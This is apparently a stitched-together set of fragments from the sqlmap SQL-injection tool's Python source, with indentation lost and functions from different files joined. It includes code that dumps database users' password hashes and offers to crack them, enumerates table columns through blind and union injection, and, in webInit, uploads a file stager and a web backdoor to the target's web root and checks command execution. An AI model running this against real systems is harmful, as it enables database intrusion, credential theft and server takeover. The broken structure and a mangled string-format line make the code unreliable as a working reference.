("2005", "2008")):
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user)
for user in sorted(users))
if Backend.isDbms(DBMS.SYBASE):
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
retVal = pivotDumpTable(
"(%s) AS %s" % (query, randStr),
['%s.name' % randStr,
'%s.password' % randStr],
blind=False)
if retVal:
for user, password in filterPairValues(
zip(retVal[0]["%s.name" % randStr],
retVal[0]["%s.password" % randStr])):
# password = "******" % strToHex(password)
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
value = inject.getValue(query, blind=False)
for user, password in filterPairValues(value):
if not user or user == " ":
continue
password = parsePasswordHash(password)
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
if not kb.data.cachedUsersPasswords and isInferenceAvailable(
) and not conf.direct:
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
randStr = randomStr()
query = rootQuery.inband.query
retVal = pivotDumpTable(
"(%s) AS %s" % (query, randStr),
['%s.name' % randStr,
'%s.password' % randStr],
blind=True)
if retVal:
for user, password in filterPairValues(
zip(retVal[0]["%s.name" % randStr],
retVal[0]["%s.password" % randStr])):
password = "******" % strToHex(password)
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
retrievedUsers = set()
for user in users:
if user in retrievedUsers:
continue
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query,
inband=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MSSQL):
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index,
user)
else:
query = rootQuery.blind.query % (user, index,
user)
else:
query = rootQuery.blind.query % (user, index)
password = inject.getValue(query,
inband=False,
error=False)
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPasswords:
errMsg = "unable to retrieve the password hashes for the "
errMsg += "database users (most probably because the session "
errMsg += "user has no read privileges over the relevant "
errMsg += "system database table)"
raise sqlmapNoneDataException, errMsg
else:
for user in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = list(
set(kb.data.cachedUsersPasswords[user]))
message = "do you want to perform a dictionary-based attack "
message += "against retrieved password hashes? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
pass
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
if not conf.db:
errMsg = "unable to retrieve the current "
errMsg += "database name"
raise SqlmapNoneDataException(errMsg)
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(',')
else:
colList = []
if conf.excludeCol:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(',')
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
elif not conf.search:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return kb.data.cachedColumns
tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList))
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is %s" % DBMS.ACCESS
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl)
if dumpMode and colList:
values = [(_,) for _ in colList]
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
values = None
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
expression = query
kb.dumpColumns = []
kb.rowXmlMode = True
for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','):
kb.dumpColumns.append(randomStr().lower())
expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
values = unionUse(expression)
kb.rowXmlMode = False
kb.dumpColumns = None
if values is None:
values = inject.getValue(query, blind=False, time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
index, values = 1, []
while True:
query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index)
value = unArrayizeValue(inject.getValue(query, blind=False, time=False))
if isNoneValue(value) or value == " ":
break
else:
values.append((value,))
index += 1
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(unArrayizeValue(values))
elif not isNoneValue(values):
table = {}
columns = {}
for columnData in values:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))
comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if len(columnData) == 1:
columns[name] = None
else:
key = int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1]
if Backend.isDbms(DBMS.FIREBIRD):
columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
elif Backend.isDbms(DBMS.INFORMIX):
notNull = False
if isinstance(key, int) and key > 255:
key -= 256
notNull = True
columnData[1] = INFORMIX_TYPES.get(key, columnData[1])
if notNull:
columnData[1] = "%s NOT NULL" % columnData[1]
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl)
query += condQuery
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl)
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
parseSqliteTableSchema(value)
return kb.data.cachedColumns
table = {}
columns = {}
if dumpMode and colList:
count = 0
for value in colList:
columns[safeSQLIdentificatorNaming(value)] = None
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
count, index, values = 0, 1, []
while True:
query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index)
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
if isNoneValue(value) or value == " ":
break
else:
columns[safeSQLIdentificatorNaming(value)] = None
index += 1
if not columns:
errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "")
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
continue
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl)
query += condQuery
field = None
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
query += condQuery
field = condition
query = agent.limitQuery(index, query, field, field)
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(column):
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))
comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column)
colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
key = int(colType) if isinstance(colType, basestring) and colType.isdigit() else colType
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(key, colType)
elif Backend.isDbms(DBMS.INFORMIX):
notNull = False
if isinstance(key, int) and key > 255:
key -= 256
notNull = True
colType = INFORMIX_TYPES.get(key, colType)
if notNull:
colType = "%s NOT NULL" % colType
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
if not kb.data.cachedColumns:
warnMsg = "unable to retrieve column names for "
warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table "
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)
return kb.data.cachedColumns
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def fuzzTest():
count = 0
address, port = "127.0.0.10", random.randint(1025, 65535)
def _thread():
vulnserver.init(quiet=True)
vulnserver.run(address=address, port=port)
thread = threading.Thread(target=_thread)
thread.daemon = True
thread.start()
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((address, port))
break
except:
time.sleep(1)
handle, config = tempfile.mkstemp(suffix=".conf")
os.close(handle)
url = "http://%s:%d/?id=1" % (address, port)
content = open(
os.path.abspath(
os.path.join(os.path.dirname(__file__), "..", "..",
"sqlmap.conf"))).read().replace(
"url =", "url = %s" % url)
open(config, "w+").write(content)
while True:
lines = content.split("\n")
for i in xrange(20):
j = random.randint(0, len(lines) - 1)
if any(_ in lines[j] for _ in ("googleDork", )):
continue
if lines[j].strip().endswith('='):
lines[j] += random.sample(
("True", "False", randomStr(), str(randomInt())), 1)[0]
k = random.randint(0, len(lines) - 1)
if '=' in lines[k]:
lines[k] += chr(random.randint(0, 255))
open(config, "w+").write("\n".join(lines))
cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (
sys.executable,
os.path.abspath(
os.path.join(os.path.dirname(__file__), "..", "..",
"sqlmap.py")), config, random.sample("BEUQ",
1)[0])
output = shellExec(cmd)
if "Traceback" in output:
dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % clearColors(output))
handle, config = tempfile.mkstemp(prefix="sqlmapcrash",
suffix=".conf")
os.close(handle)
open(config, "w+").write("\n".join(lines))
else:
dataToStdout("\r%d\r" % count)
count += 1
def getPage(**kwargs):
"""
This method connects to the target URL or proxy and returns
the target URL page content
"""
if conf.delay is not None and isinstance(
conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
elif conf.cpuThrottle:
cpuThrottle(conf.cpuThrottle)
if conf.dummy:
return randomStr(int(randomInt()),
alphabet=[chr(_) for _ in xrange(256)
]), {}, int(randomInt())
threadData = getCurrentThreadData()
with kb.locks.request:
kb.requestCounter += 1
threadData.lastRequestUID = kb.requestCounter
url = kwargs.get("url", None) or conf.url
get = kwargs.get("get", None)
post = kwargs.get("post", None)
method = kwargs.get("method", None)
cookie = kwargs.get("cookie", None)
ua = kwargs.get("ua", None) or conf.agent
